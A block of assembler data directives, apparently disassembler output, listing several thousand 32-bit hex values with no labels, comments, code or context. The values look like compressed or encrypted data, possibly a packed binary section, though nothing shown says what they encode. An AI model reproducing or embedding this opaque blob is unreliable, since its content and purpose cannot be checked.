		dd 91E1D6Ah, 9BFE8DFh, 6BD8E906h, 28201472h, 293B57Bh
		dd 0B8F010D2h, 936EB73Bh, 70BAB841h, 5B986834h,	0CEF92FE1h
		dd 0C336E9C2h, 6A4FF1D7h, 2642E47h, 0D488D2F6h,	0BEB67D5h
		dd 12F76431h, 4AA7C287h, 523CF91Bh, 21F4741h, 0F355825Ah
		dd 4BC01B36h, 675B9F42h, 5E079810h, 0F450D9F0h,	49B90B68h
		dd 66057007h, 97CFFCA1h, 0DF9DAA82h, 9F0078A9h,	2D4E0232h
		dd 1F8EF4BDh, 59466F88h, 0FB3F5C2Dh, 0F488805Ah, 287AB15Ah
		dd 240DE153h, 0FF17F7CEh, 8BA7D8FBh, 0FE2FADBCh, 0B8866FC9h
		dd 27EA2C4Eh, 0D4536BCBh, 33810A27h, 71C2ACDAh,	29659756h
		dd 0EB9E12EEh, 5CD2D9D1h, 52AAA155h, 12E1BF3Ch,	0CC3C916Ah
		dd 7F363Ah, 1FAD3101h, 4E76E955h, 0E56DBD80h, 9772B3BBh
		dd 0EAB4E4F9h, 0DC15B6E2h, 0A9148A76h, 75041D25h, 0B503EB32h
		dd 30B5D8E6h, 0E9407F04h, 520AA7A5h, 0FBFB34C8h, 30C4F243h
		dd 0D459E2D9h, 0A85B16C3h, 433F66Ch, 16A67568h,	5497882Ah
		dd 2DEB455Eh, 0EAC4E732h, 57D708F2h, 0C319479h,	0B346FA9Ch
		dd 0D3F69E03h, 0E103B450h, 99BBB7D0h, 595D3C19h, 6E6A75E2h
		dd 0EBA5AEACh, 7EF33357h, 0A1DBBE4Bh, 2133E909h, 290914C5h
		dd 9A123097h, 2E69350Bh, 9753FB0Ch, 20703708h, 0BE34188Dh
		dd 20B3AC3Bh, 80E0B99Eh, 0E62867C3h, 7DF2768h, 4D610698h
		dd 3689C7B6h, 90FD5E01h, 685500C5h, 324F130Bh, 1CD5975Dh
		dd 8F482074h, 0DF04015Ah, 2D09B263h, 2605C5C8h,	284DBFEAh
		dd 7800D6BFh, 48E24262h, 4F5A2768h, 0D7825A59h,	400EFD55h
		dd 3B5C8B6Ah, 0E7032813h, 51353F5Fh, 63690C1Dh,	3A064550h
		dd 30464D34h, 9F1EDB0Bh, 974FC15h, 704ED23Bh, 4287B49Fh
		dd 0B3F7102Eh, 0E1EB7551h, 0A1EC0A7Fh, 52B9254h, 0F02A6FE2h
		dd 96D0AE1Ch, 2F4B03C2h, 89432213h, 265EE200h, 3AE96433h
		dd 0BB5EB79Ah, 0E08CFC69h, 1A4A46C5h, 0C4AE3A4Fh, 0E90802A9h
		dd 0B4A5B186h, 93CBAEEEh, 0E909E556h, 0F2469C44h, 0E6B5E5E4h
		dd 98F59D0Fh, 0BD3CC407h, 75CB735Ch, 64D13E8Bh,	0E3FE0264h
		dd 0F76682A1h, 0F127C0E1h, 89D2941Eh, 67D884E9h, 0BCFD5B4Eh
		dd 7B91E197h, 0B4D496BCh, 85CC5727h, 5F3FBB4Dh,	0E962170Fh
		dd 0B1A55F37h, 76F4AED8h, 910E5F68h, 6FAA4B9Eh,	444B948Ah
		dd 0FB5422C5h, 0FCC68B31h, 3028BB01h, 293E4C01h, 807A25DFh
		dd 50BFBA26h, 0F37D50B5h, 4AAF0045h, 0E9D00182h, 9FC069AEh
		dd 0A2B0E7EEh, 0DDB90194h, 3128DF5Bh, 3F5D71F1h, 775A4F09h
		dd 0E99C2C67h, 34F29E55h, 0F1FA4ECEh, 0D70CA7B7h, 3F65C389h
		dd 988A6789h, 0B7568B52h, 0CB4000F6h, 7ED3446Bh, 0CC662F79h
		dd 505956DCh, 0BB0D343Eh, 204887A2h, 0FEE9980Bh, 0ECF3B769h
		dd 0D4020BBCh, 0B3CC5FBEh, 307A76D2h, 0AE02B4DCh, 0F45780B7h
		dd 0FF6DCD43h, 8046635h, 4659CC2h, 0AE089433h, 8B40458Fh
		dd 0EFE85957h, 0E13E189Ch, 58CF06E2h, 226B252Ah, 5CACD82h
		dd 4A2AC051h, 784A4267h, 0ACA9D4EAh, 0F08F25D4h, 0A25B4B25h
		dd 7D0825DFh, 0E90AED4Dh, 0BD809D46h, 6FFC1593h, 0FDE50081h
		dd 0C16D865Dh, 959007EDh, 8A4AE70Fh, 70F5E138h,	4430660Fh
		dd 575D2DEFh, 70BFBB14h, 187C95B1h, 0DB39E025h,	0F405807Bh
		dd 1E536126h, 90BBA039h, 2C68380Ah, 9621D30h, 4B09B338h
		dd 74A850E9h, 5D24B7Bh,	0C442DA2Eh, 0E216026Bh,	82570B3Ch
		dd 0AC0C5D0h, 0CFB5824Ch
		dd 8DC132D1h, 0F7453E85h, 30EE4D1Bh, 1A22DC3Ch,	7750352Fh
		dd 3DAAD490h, 10FFF182h, 10E05883h, 2D078DC0h, 0B227FB67h
		dd 0BE44C209h, 7FF7EC25h, 9C8963E7h, 4F6CD5A4h,	0E70BF290h
		dd 63754702h, 8019584h,	9F08E95Dh, 0C1A0DA7Ch, 87252E59h
		dd 5D885D30h, 0BC5A1708h, 9FA2727h, 1FCE55ABh, 7C80B900h
		dd 0E7E93739h, 0E5F99F60h, 49FC100h, 165F207Ah,	0AF555268h
		dd 0E50B7D61h, 5FD38E3Bh, 4B858DF2h, 7A8539EFh,	68510B41h
		dd 296E036Bh, 5FBD6881h, 0F1C82CEEh, 0AA770C81h, 4093E90Bh
		dd 5EF4E4F7h, 2A43A1ECh, 55CB15EDh, 0E781CB74h,	14473DAFh
		dd 0CD8CE38h, 42281D03h, 5F528B10h, 62E91C47h, 8B1E56Dh
		dd 0BA037785h, 944E0F35h, 562A43C0h, 802EE5DFh,	63182D13h
		dd 35558900h, 6EED5110h, 9051D40h, 5F231D2Bh, 0E1808BCAh
		dd 0B0C3EBD7h, 0F21AE673h, 80EEF1D3h, 0AABF5708h, 332E3E34h
		dd 7470CF03h, 0C01220Ch, 14D74BE7h, 106BB2E9h, 0B84FCD00h
		dd 3590B12Ah, 0BD599358h, 888B9C7Ch, 68C482FAh,	2E995FB8h
		dd 0A6BFE858h, 0C440F99Dh, 0A7F9AF50h, 698CCFA1h, 38F0106Dh
		dd 0A7735E25h, 37B9BD01h, 482907F7h, 0C1362304h, 0A97EA41Fh
		dd 3CB0013Dh, 5C344A29h, 82220C1Eh, 20CC571Ch, 6812598Ch
		dd 22F35E41h, 4E674704h, 8784C43Dh, 1E430CAh, 0C9A0F8FEh
		dd 0B83C0F89h, 482F663h, 80985D08h, 2122D68h, 0E9975666h
		dd 0EE492978h, 0AA87D42Fh, 113B3FDh, 2572E6E8h,	705B2B2Dh
		dd 0FA982076h, 1AB895Bh, 8DC28567h, 0DFF060F3h,	5482299Eh
		dd 0C12C8001h, 0CC2B4B39h, 934EC662h, 5EEA32BEh, 56944058h
		dd 353F646Fh, 4E629BC8h, 0FDF25267h, 437513B8h,	284BF4B3h
		dd 7F2768C5h, 5A555405h, 843E557h, 5C13436Eh, 2568F88Ch
		dd 0F3180FBFh, 5D804E75h, 5592FE59h, 3214202h, 78309EAh
		dd 0C1021725h, 0FD6723BDh, 0C233C009h, 1AB0093Dh, 80DDD5F7h
		dd 7C32B49Fh, 92E9123Ch, 50A5EF69h, 9251E8E0h, 28AD03EBh
		dd 0D5316A10h, 0F5FC36E2h, 0F71D625h, 0EF6B21C2h, 2FFCE3AFh
		dd 0F7809400h, 0F87A283Bh, 14C1E034h, 2B64A6BEh, 6F93995Ah
		dd 542FA8A3h, 0FAA00DC6h, 3B093287h, 0A903E908h, 85B26079h
		dd 68EA40D2h, 796E1F27h, 12678828h, 3A48E905h, 0F2D367ABh
		dd 195721D3h, 0C87C1007h, 0FCEA3112h, 0B67107D1h, 0C16B2D73h
		dd 816EFE4Eh, 0E82349D8h, 15904032h, 72E71B17h,	0BAC110BBh
		dd 0BA3AE600h, 7BCD8171h, 40856A51h, 0DB1707A6h, 2FC66C50h
		dd 23C29F00h, 0CCE9E831h, 587AC926h, 38F68DD0h,	54CC000h
		dd 60B27F3Dh, 2CC77F89h, 9D8EFD1h, 2F303904h, 7B011275h
		dd 2798B872h, 3F2092A4h, 649053Ah, 22DD801h, 0C7315B07h
		dd 5DBD584h, 84970A68h,	7B9E2FA2h, 32FAFB8h, 0D1E647CBh
		dd 0FF71CE2Dh, 0E918E81Eh, 79570986h, 646BC436h, 0DCB9457Eh
		dd 5A9402BCh, 9F788B2Dh, 80E8EFB7h, 0C033DABDh,	6520E978h
		dd 88511C79h, 59E88BDDh, 35358ED6h, 0CFD3B70Fh,	90586B03h
		dd 974F8B54h, 51C49AF9h, 8C81C8B3h, 7B40595Ch, 0C0B9E90Eh
		dd 0E97A6563h, 0AB2A6071h, 5A38A7C1h, 7F240258h, 7AA29ABFh
		dd 5AD6279Fh, 0CF8977F9h, 6728DC88h, 0DE3CA252h, 0FC9A9CF7h
		dd 3E42B57Dh, 58D98DB3h, 0ADCC7FC4h, 5CE6F294h,	23001F35h
		dd 0E942840Bh, 0ABC028F8h, 0E4337BF1h, 0CE293E10h, 29635A97h
		dd 581C2EB3h, 5731C027h, 5EE75168h, 7D2467A8h, 0F4F4B7ECh
		dd 28EE0492h, 0BBD4F745h, 1B17064h, 4C18B124h, 17F9EF75h
		dd 0FE3E7A2Fh, 0A345A09Eh, 73DCC800h, 2C0E60A7h, 10C804FEh
		dd 35D2CFFh, 0F31E05EEh, 6DC6F860h, 15CA1F72h, 120718C1h
		dd 0D21E7BBEh, 0E3E66854h, 0C11DBAC3h, 163A3541h, 4971C8EDh
		dd 644A2710h, 9068C90Fh, 7314A994h, 0AFA59C72h,	37007F1Ch
		dd 420557DEh, 59380043h, 0F178772Dh, 0CF013510h, 0E9A02501h
		dd 626E027Eh, 0E5635EDBh, 3F1F9DDCh, 4A382299h,	1291A34Eh
		dd 0DD53E1E9h, 0FBA4B0EBh, 0B0D79D84h, 3D2DB303h, 35FC8653h
		dd 8E0BD4F6h, 7B15100Eh, 4F0CE909h, 0BEA66F74h,	0D94A322Dh
		dd 7D6841BFh, 8405450h,	2E38F1F8h, 400BADFDh, 43B87F73h
		dd 7C00B450h, 28E3B252h, 4805AD4h, 64E9A3F4h, 0CDEDAF77h
		dd 0DFF7040Fh, 0F7E1B56Bh, 0FDA13029h, 3CEE6F5Bh, 9C404C47h
		dd 1A9D2C68h, 0DB94C2ABh, 1994E394h, 301520C1h,	75445171h
		dd 0E92A9CBFh, 0A2ADFE2Dh, 75707D91h, 0AAD51529h, 462772CCh
		dd 0FD1A9DF1h, 0D1AF0976h, 29E958ACh, 0DF77394Fh, 0DFCDE7B2h
		dd 6320A29Eh, 6D2CA07Eh, 101697CAh, 0DB31F002h,	0AB9BE93Dh
		dd 13300286h, 1A6CDD4Ah, 5CA7B85Dh, 0E5AEC487h,	0DAC45A0Eh
		dd 2D39EE80h, 0DE12BD22h, 520CD59h, 0EEC1FEB0h,	0D05156BFh
		dd 492867F8h, 0A76E0DC3h, 0E9CA6195h, 0F9533BE4h, 0AFB18B12h
		dd 82CAED2Fh, 0C5BC76E9h, 257B2C68h, 0EC429BFCh, 4372757Dh
		dd 219FF202h, 4150276Ch, 5759DF30h, 3279EE2Bh, 0D139401h
		dd 0D6DEDF6Dh, 0BE8CE022h, 0D274B5h, 0D928DC05h, 0F0282902h
		dd 5E5B072Dh, 4E29D028h, 5E97A2D8h, 1AB5F043h, 0CD80D0F6h
		dd 31C05CABh, 0E3F52F76h, 371030F7h, 405B8060h,	522BC1B5h
		dd 2CF99840h, 0C5794A51h, 58CDA88Eh, 2FF2007Dh,	0F7431440h
		dd 16B9FED2h, 0BEAD0EA0h, 18F4FC01h, 867E7165h,	0FC9D398Eh
		dd 5DACBC70h, 370B1664h, 3D7482B3h, 3E2020ECh, 5E5060C4h
		dd 1E5E40FBh, 8B33DCBDh, 26543010h, 29801869h, 52E978D5h
		dd 0EB93B327h, 0FBC16D21h, 7B5FB32Fh, 0C8586F70h, 7D482497h
		dd 0D0591D40h, 0C6DCBD61h, 0A4C7C101h, 4296962Eh, 0A573AA47h
		dd 5630E1C3h, 0FD5A0E89h, 0A90D2784h, 94718B0Dh, 2E0D35Dh
		dd 495E3C00h, 8150377Ch, 88D00BE9h, 0A05EA1C3h,	1D1DFC0Ah
		dd 7C628B02h, 0CD97C68h, 0F7610858h, 263323F4h,	0E8930C41h
		dd 0B5893E9Bh, 595FFDF0h, 0CB203F0Bh, 7D3DF20Eh, 2C89BB99h
		dd 5C5B26FDh, 0FC3BCD0Bh, 0DA01C203h, 862EDC44h, 0A96FD7F8h
		dd 67402C6h, 0EAD27442h, 3F08002Ah, 0EDD16A03h,	0FB05F5FCh
		dd 2926549Fh, 0C0581E82h, 251649DBh, 627F6D03h,	0E9080164h
		dd 146961CCh, 47572704h, 6112FE07h, 6101AA0Bh, 40EAAD5Fh
		dd 80380289h, 36FED189h, 0BED1C45Fh, 7B79E584h,	515CB94Bh
		dd 0A1B22F46h, 165268C0h, 9690782Dh, 26841A5Eh,	0C5D6E2BEh
		dd 0DF577E40h, 0C1CF0D80h, 57B5265Eh, 0DEC500EEh, 0FD01F7BFh
		dd 4895569Dh, 935D27B8h, 7BB6C139h, 0B7B3313Ah,	69327A3Dh
		dd 2A7D0E8h, 5066C6FEh,	0F4C1F488h, 25AB04A1h, 770C490Fh
		dd 685C9F40h, 4B7F3038h, 12B0CFAEh, 24064BBAh, 5CDF527Ah
		dd 3424653Fh, 9607A046h, 5E945A6Bh, 0BD400EB0h,	2FCB9088h
		dd 81FE7D0Dh, 1A1C6660h, 0C6091735h, 0E9F14258h, 0CC544CEDh
		dd 0DD37E48Bh, 534B079Ch, 0BE92EDB3h, 0BD580428h, 3F86C061h
		dd 9A2A5CCEh, 16B39A89h, 8D792E68h, 0E1A03BEFh,	416260BBh
		dd 7400F55h, 50833507h,	0FD505C59h, 0B508E975h,	9072D574h
		dd 9DB4D4ACh, 9F649798h, 1C614082h, 0C013D6Ch, 1BC2F5ADh
		dd 0A0F01A58h, 1089F752h, 0BB0ECAE6h, 3D2378D7h, 2C18C383h
		dd 20604EBh, 8DB5CF7h, 50052B67h, 563A9B33h, 840156B5h
		dd 0CA1948E9h, 21FB5F92h, 75C3263h, 0C356393Bh,	0BF028C38h
		dd 37FD7843h, 0BE095Dh,	4428F56Bh, 0BF0CB025h, 0C9F82770h
		dd 0F1252298h, 5D4C5DF4h
		dd 7D736800h, 0A8E91B17h, 0EE5BD7Bh, 6F464108h,	0E3531604h
		dd 51EC006Dh, 8FB945D3h, 77201365h, 12CCF929h, 7C4BDFE9h
		dd 0FA0FD5Fh, 633B0BE7h, 3B9E215Ch, 58D60203h, 0A55FF889h
		dd 4A885EDEh, 20559FD7h, 0AEE3AB7Fh, 0FF015E6Eh, 40B6DC2Ch
		dd 2CEC5192h, 590E029Ah, 0EDEED80h, 0B6C5AEFDh,	0C4B4B2BCh
		dd 4FC0FBD1h, 7026E964h, 0BB7D952Ah, 0AF7E2DDh,	0F22E13F2h
		dd 0C40807F1h, 6BAE315Fh, 0B6B0F729h, 232E3051h, 766BA56Bh
		dd 0F68274ECh, 95860F47h, 34345752h, 0EC0D91F2h, 4AE90C9Dh
		dd 0A05E9C48h, 813F8784h, 21D2E66h, 0D32999FAh,	5A03EB10h
		dd 41091D12h, 30A21205h, 0B9E05EBCh, 0E00E3FA6h, 24E98739h
		dd 25D2EE2Bh, 1864F5D5h, 0C3A3D4B5h, 2625CE11h,	44C57591h
		dd 62803F16h, 0E6CCF180h, 0C0E70BC9h, 0BADE03E1h, 0BD308F0Fh
		dd 7E885A8Bh, 68E743A9h, 51E09913h, 0BF026A8Ah,	74C537E5h
		dd 340F3944h, 12A2C42h,	0BDE955D7h, 0BD5A6228h,	4045A5ACh
		dd 0AE48E9Ah, 0BC8B2D9h, 0FE07EBC0h, 4190805Fh,	0E75BD888h
		dd 0CF259C38h, 295E73A7h, 20B30413h, 7E66BDCCh,	0CAB44F8h
		dd 100A2A58h, 803B2DB5h, 0D8179B3Ch, 7CDB4CCBh,	5D525F2Eh
		dd 1CE9C5CCh, 7701A2A0h, 3D9159C5h, 522B012h, 0BE45A602h
		dd 53563E21h, 471C1C7Fh, 0BB798044h, 0EFE36984h, 50126ED5h
		dd 0D4B7A6AEh, 3B3725B0h, 5FEBDABDh, 7F498674h,	0D2934F0h
		dd 420B5765h, 0FCB85D2Dh, 0B401268h, 3E6226E9h,	6F9F82AFh
		dd 405D48B4h, 76EF5CE4h, 0B7E30445h, 1525A24h, 0D2971C0h
		dd 1289CBF0h, 13B8D36h,	0FF77F76Eh, 2F93713Fh, 0D6E97B61h
		dd 0F0C08435h, 2D297904h, 63CC2E63h, 716F4245h,	2E53D291h
		dd 7086FEF6h, 0BD045AE4h, 197E0F0Ch, 3A14D9EBh,	52C94AA3h
		dd 682A0996h, 0E93EDD1Ch, 134B4E3Dh, 72962902h,	45709731h
		dd 0E95F0F9Dh, 0D7B8AB7Bh, 0D200A58Bh, 76021371h, 47ED811Dh
		dd 0E9679601h, 84393303h, 0B5E20725h, 635573DDh, 270E6B4Ah
		dd 2B4252E6h, 50018169h, 0E7302610h, 59B10AF3h,	38EE569Dh
		dd 0F6E2216h, 6D7AC72Ch, 36822254h, 0F93D0664h,	4E52987Fh
		dd 50168D4h, 0FBECBA45h, 0F8701455h, 0A72C9189h, 681F107Fh
		dd 0D754B5D1h, 0F1155FA7h, 0D3171490h, 5291FE83h, 0E82963D0h
		dd 9242D20Eh, 0C9814140h, 0C30065F6h, 49D1F703h, 9F8646E9h
		dd 456F5CD6h, 89BA62AEh, 0CE7CE035h, 0CEDBF1B5h, 4456C3DFh
		dd 0C1E07B86h, 9E251E93h, 1D885755h, 0BE560008h, 69B50483h
		dd 0D509F6F8h, 0F5123340h, 2A64E541h, 8B54E909h, 0C9682F15h
		dd 0C2FBA2F3h, 71DA0970h, 7995E7B0h, 3ED729ADh,	6168F5E1h
		dd 1A8C7A03h, 12C69175h, 0B762E036h, 0EF800F0Bh, 0C91385F1h
		dd 791CF4EDh, 0FE73D27Bh, 4F684299h, 26B5410h, 0E41066BFh
		dd 0F9C66072h, 16AD243Ah, 20610076h, 0C147680Bh, 20DF05FAh
		dd 11D21A05h, 278C8201h, 5706926h, 860E83DFh, 0A1CFFE1Eh
		dd 0FC887AF7h, 31254EFDh, 3F4EC7Ah, 0A6CEA245h,	0A1DA9F89h
		dd 0DA1DB205h, 8A7A04BFh, 7BC18A73h, 8312A55Eh,	927268ECh
		dd 4D873CEEh, 0CFD0146Bh, 899960EFh, 5014C866h,	4A3DA118h
		dd 40DA5520h, 0BF055730h, 46A50EA7h, 7433782h, 0A09E6556h
		dd 670FBE95h, 443C824Bh, 98EF4D1Dh, 0BE4AEE69h,	6335D330h
		dd 316C13AFh, 0D01BB944h, 7EEB101Ah, 5E70BC4Fh,	39F0D7F5h
		dd 690E9CA2h, 7A2D5FFEh, 315A2506h, 0CA04335Fh,	0C9482C3h
		dd 0C1890170h, 17642C58h, 0AD58341Dh, 254A9D46h, 60773749h
		dd 8167AFF5h, 1806EB9h,	0C0CB0160h, 0F925B42Dh,	782DE92Ah
		dd 62487CF6h, 6802274Ch, 0E8F5F0h, 56944A39h, 5B98064Fh
		dd 0D9883A10h, 407027F8h, 5C9C3D79h, 9253FE0h, 83761000h
		dd 382DFFE8h, 0DD3E7F05h, 0C60CC231h, 0F6D1A399h, 81551DD5h
		dd 0DA4C01F1h, 3F01E917h, 80AE4916h, 0C948EEACh, 6E97250h
		dd 31E008E0h, 0D713E29Ch, 0A145A253h, 0DABB3A04h, 2ACC5B29h
		dd 0ABC34B30h, 386868CCh, 0FA4A2827h, 0E912A08Eh, 4279B0DFh
		dd 0ED786897h, 4141825Dh, 726065B8h, 5902C82Bh,	173B3D30h
		dd 29E4297Bh, 0DE834CEBh, 9B58F83Dh, 4ECFE74Fh,	3E283744h
		dd 0EEC15E02h, 61D68E61h, 1196CA2h, 443A6852h, 1C601098h
		dd 258FBFCDh, 0B3265464h, 4E981725h, 0A88DB60h,	481E49Fh
		dd 0D10567F7h, 6AFC275h, 928E5C05h, 37511816h, 62998A58h
		dd 9877061Fh, 0BDBFC624h, 531E8C71h, 2C01C849h,	3868E166h
		dd 0AF4A7486h, 5060788Ah, 139BE52h, 387EC14Ch, 51B1005Ah
		dd 171AEB05h, 0E9551236h, 5F97C02Fh, 417D12Dh, 83F84C79h
		dd 0E62B0741h, 0B4E91745h, 0D45DC582h, 61FB5361h, 5592A525h
		dd 2DB0096Bh, 11012F55h, 56AABB7Ch, 0DB206274h,	8FE226E9h
		dd 4C79694h, 0D52891F4h, 27AF0F2Eh, 416EF125h, 53029FC8h
		dd 52A82042h, 0FD17B267h, 823DDA92h, 0FF8813DEh, 993C8079h
		dd 0F12FECBh, 5ECAEE70h, 54D6332Ah, 0D4596F2Fh,	5BC67A35h
		dd 75AF7D9Dh, 0A7E249B2h, 3F583BE1h, 0AA92881h,	2EB844C2h
		dd 0CB185E55h, 0E941D7F4h, 276C3988h, 1B9F099Eh, 0BF2994DDh
		dd 4ABEEB4Fh, 9B8A180h,	223A3340h, 0AAE905A6h, 0C09D39B7h
		dd 19AF2BEh, 30929D3Ah,	0D627C17Ch, 9E4869C7h, 562E1012h
		dd 0C10FC935h, 0E5BFD33Eh, 47ECE0A5h, 2C0BF324h, 903F7800h
		dd 2EE8D107h, 28BD0F7h,	3C4179D3h, 4088C07Dh, 0C51025E9h
		dd 7569CAF9h, 68059F72h, 3BD309E3h, 0F3922CBEh,	7C1A3D09h
		dd 0D2FC000Fh, 9DE2FBD3h, 0F5027FD4h, 0C0B125AFh, 76BEC7D9h
		dd 296F1757h, 68D300EFh, 0F077CC4h, 0E302539Ah,	893AFBA5h
		dd 0CEFAF5DAh, 0B30B0424h, 89E9AF1Eh, 2525F6A5h, 9B83A679h
		dd 0EC48F573h, 73FB11C5h, 80E3D888h, 0EB77D377h, 0E4EF4D27h
		dd 26AA98BBh, 0C502557Ah, 0F8CCAF99h, 0B6261CB5h, 59EE00B0h
		dd 0F688E680h, 2F68D63Ch, 67C3A66Ch, 7EF2555h, 35774D4Ch
		dd 0D13AB881h, 30C729FFh, 4DBEE4C0h, 5607EA40h,	0F16BED10h
		dd 8CE63AA8h, 379CBF96h, 0C2CA5BE9h, 47C0494Bh,	0C03E94E8h
		dd 47D810E5h, 192CBE00h, 54BD6397h, 0DE7EEE13h,	0CD0B80FEh
		dd 0B93B72DDh, 0BDED007Fh, 216EE0F8h, 2316B7EAh, 77913522h
		dd 19E99FC6h, 3DDC425Dh, 72C7FC5Dh, 0E8C2885Eh,	435E0968h
		dd 40A47627h, 45434238h, 285A8498h, 0F389EAD1h,	0B6CC132Eh
		dd 0DE7139C2h, 0B4E0A9ECh, 0D41DF63Ah, 5765C5E9h, 87411D4Ah
		dd 3E29C8h, 29D22D40h, 4E20F005h, 0D18BF0A1h, 0EA3AD595h
		dd 6525007Fh, 134F2302h, 8D37D3E9h, 0BB037BF6h,	924C0DB8h
		dd 30837574h, 4C13324Ah, 3DBB5E54h, 22AB3AD5h, 0AE154D5h
		dd 0C18011F3h, 870AC1FFh, 8626F26Ah, 6217E363h,	234178F7h
		dd 5A0C6C1h, 57A4B7ABh,	0E2EA2A17h, 75B2FE80h, 1E6C102Ch
		dd 0BB50D101h, 3A29A8h,	4F33EB8Fh, 3EF323DDh, 2708D110h
		dd 0FF74B05Ah, 344281D5h, 464B2EBDh, 0E5E5B1CDh, 5D04EE38h
		dd 0EB387229h, 20E4EBF8h, 3042C706h, 1E5C5402h,	5C86E947h
		dd 455F2553h, 58BE8849h, 0DD25892Dh, 0A693B973h, 666BD0E1h
		dd 57FEC96Dh, 0E9391C4Fh, 2A7A3D7Fh, 0F93E61A2h, 0CE0580C0h
		dd 798768AAh, 9FEDB544h, 4159CDA3h, 0A0A3AC5Ah,	0C477C868h
		dd 6481E335h, 12259E0Eh, 4DD1F7FAh, 614F2756h, 0AB2E5D89h
		dd 9742A32Ah, 0FB84F412h, 216AF839h, 0A4523C07h, 0E2825118h
		dd 403D1A6Bh, 806C9781h
		dd 80B54358h, 8522C7E1h, 0F25F5B64h, 443904D7h,	10904AAh
		dd 91029651h, 0E03FF42Ah, 2868338Bh, 0EDEF0AFBh, 718C5E02h
		dd 0B94D68ADh, 0F41E9AC8h, 0D4C85ADBh, 3890D3F7h, 69010E4Ah
		dd 7D0A67B8h, 41BFAE20h, 0C9503031h, 1A8B1F17h,	173C1BDh
		dd 340F1658h, 816656E9h, 145EF29h, 64604170h, 0A719131Bh
		dd 0C88C3821h, 54F40h, 7F9377E2h, 6E51FE2Dh, 0A0B1834Bh
		dd 0C98FFC6Eh, 0A4EC2E48h, 95E923DAh, 2F1DF55Fh, 78B539EAh
		dd 5C07A17Dh, 0CBE5AD8Bh, 0F76C8E01h, 7ABDF4DDh, 0A29D98B7h
		dd 4E7F829Bh, 7702241Eh, 52DE5205h, 78E191C4h, 0A50CFD7Fh
		dd 48B277B8h, 0CE8786DCh, 65043EFAh, 0E1EF85C2h, 8DCCC2B9h
		dd 0EB23C05Ah, 54614298h, 1E0327BCh, 0B0292D49h, 0E6FABA52h
		dd 0A197ED5h, 9C4CF3F2h, 0A7180CD4h, 9A7FF13Fh,	6E80A35Fh
		dd 17CA2811h, 10CB015Bh, 0E91C0898h, 0AA3274FBh, 0E93B65A5h
		dd 85358403h, 0E4EE41A4h, 0E2742D03h, 0C202EC7Ah, 25B15092h
		dd 7DBCA29h, 68C05B08h,	5C5341CEh, 0E04F5379h, 29255A8Ah
		dd 7F839AD7h, 7C773612h, 0CA6CB06Ah, 9F340254h,	91BA6E52h
		dd 3887E9AEh, 0B99D5BC0h, 9A9670F4h, 56EA0079h,	8B7289BEh
		dd 0F606812Dh, 3E9F0D58h, 482F030Ch, 0D6F74CA9h, 0BA5E6A01h
		dd 0F22927B3h, 4D3C132h, 0EE2290E6h, 3813E4DBh,	0FD7D04C1h
		dd 49AA164Eh, 1C870242h, 61B039C3h, 18B45451h, 94A9424Bh
		dd 98559F6Dh, 0B35FF8BFh, 0BF682560h, 0B2BF7F1Ah, 0AB0CDDFEh
		dd 744BDB76h, 0FEE75D5Eh, 507C2752h, 0CF305204h, 0F50BD282h
		dd 54AF2EE7h, 0F07F5A0Eh, 0D3DE42C3h, 8D2E0FCh,	5C0B2D37h
		dd 69B2FD31h, 847A2EFCh, 211240ABh, 67565CCAh, 786110D4h
		dd 0C368511Fh, 5979447Eh, 3E544EE1h, 0A5F32031h, 9FD1E930h
		dd 9CB4C71h, 5F96FD41h,	254C2639h, 0DEC30078h, 7D31C45Ch
		dd 7BF32443h, 805364EFh, 0EAA901C2h, 0E9D3E8E5h, 5A6F89F5h
		dd 27A9515Dh, 528C704Fh, 0FB93698h, 36344196h, 4BDC2D46h
		dd 7A6584Ah, 1460EB02h,	0E5434807h, 5908A440h, 0EAF25E97h
		dd 0F1F78915h, 0BAD623DFh, 63791635h, 10D98A11h, 0BB028146h
		dd 26AD318Ch, 6050B57h,	0BAB9236h, 0EC2827B4h, 15BC95D1h
		dd 62666E6h, 0CCC68002h, 0EFFEBD18h, 0F4315292h, 72064582h
		dd 2A56E606h, 1EE3144h,	21BE2DACh, 7A271EE9h, 1EB8628h
		dd 1C9D1B09h, 4001C383h, 0E63B8C5h, 3A8730EDh, 7F395609h
		dd 0D84F8042h, 1672856Dh, 0F803EAC1h, 7716B0DCh, 0EA234E6Ch
		dd 0F684EC81h, 0C504DB29h, 0EA182F72h, 431B5EFCh, 3BB08738h
		dd 6A5E267Ah, 0C12865B8h, 525A1C08h, 35DEE551h,	0CA09712Fh
		dd 50F902DEh, 80F40E34h, 5D130720h, 9DAFC821h, 3E192177h
		dd 8AD2ADA2h, 0AAC2648Bh, 20DE0812h, 0CD315E05h, 23684671h
		dd 0AC4F4878h, 0FF24EB7h, 0D83F6D38h, 0D2061758h, 187F7E4Dh
		dd 822EDC0Bh, 98C25505h, 51550809h, 0BD6EBD9h, 38370692h
		dd 1EA12085h, 92C9A37Fh, 0EA9778E2h, 54579E00h,	0C959673Ah
		dd 3B5DE8DCh, 47FC304Ch, 20C3CA17h, 0EAB843F1h,	0E91703D6h
		dd 3619B0Ah, 910471A4h,	58DAF8CAh, 5B4EDE4Ch, 0B3F494ACh
		dd 0C5E9C24Bh, 245C5D74h, 3B0FE8C5h, 0E0769105h, 680CC2B9h
		dd 4C5C5DF0h, 0C016AD60h, 0B9C2C032h, 9E9F897h,	0FDF3D55Ah
		dd 0C5C406D0h, 62F52001h, 0B21604F9h, 0BBE6C0E9h, 337BC4A6h
		dd 6416D71Fh, 17C332F3h, 9BF8ACCh, 9A25F268h, 0C8526384h
		dd 4405D7Dh, 0C88C0AB9h, 668F80ACh, 3D607E1Ch, 8A0DD90Ch
		dd 14CABE63h, 0C6808C1h, 33142514h, 801DCEB7h, 1218059Fh
		dd 2C6C6B0Eh, 0E93F5338h, 129D4DE1h, 64BF8959h,	0B714803Eh
		dd 3E138A6Dh, 188055E9h, 1950B95Dh, 90CEF8EBh, 0C541C2FDh
		dd 0E9AC9401h, 0AA2C7508h, 0D8ADED9Ch, 70C53C9Dh, 0C5E26127h
		dd 35B45B7Dh, 16508B08h, 0B7A769A2h, 0D06F2D7Bh, 0FDA72CE5h
		dd 944A6B18h, 0AD224A83h, 0FB291FD2h, 85F02157h, 362D1F40h
		dd 81AD63Eh, 0BE0132EEh, 9A8F3851h, 89E3F03Ah, 0B227C57Fh
		dd 931526Eh, 1BA208EEh,	8B028D7h, 50435800h, 0B6165B8h
		dd 31683AA5h, 0B9679374h, 0D0C13FC2h, 73AE01B9h, 0E9496C10h
		dd 3B773804h, 29CB1858h, 2883E7B9h, 2FD5F66Bh, 0A292883Eh
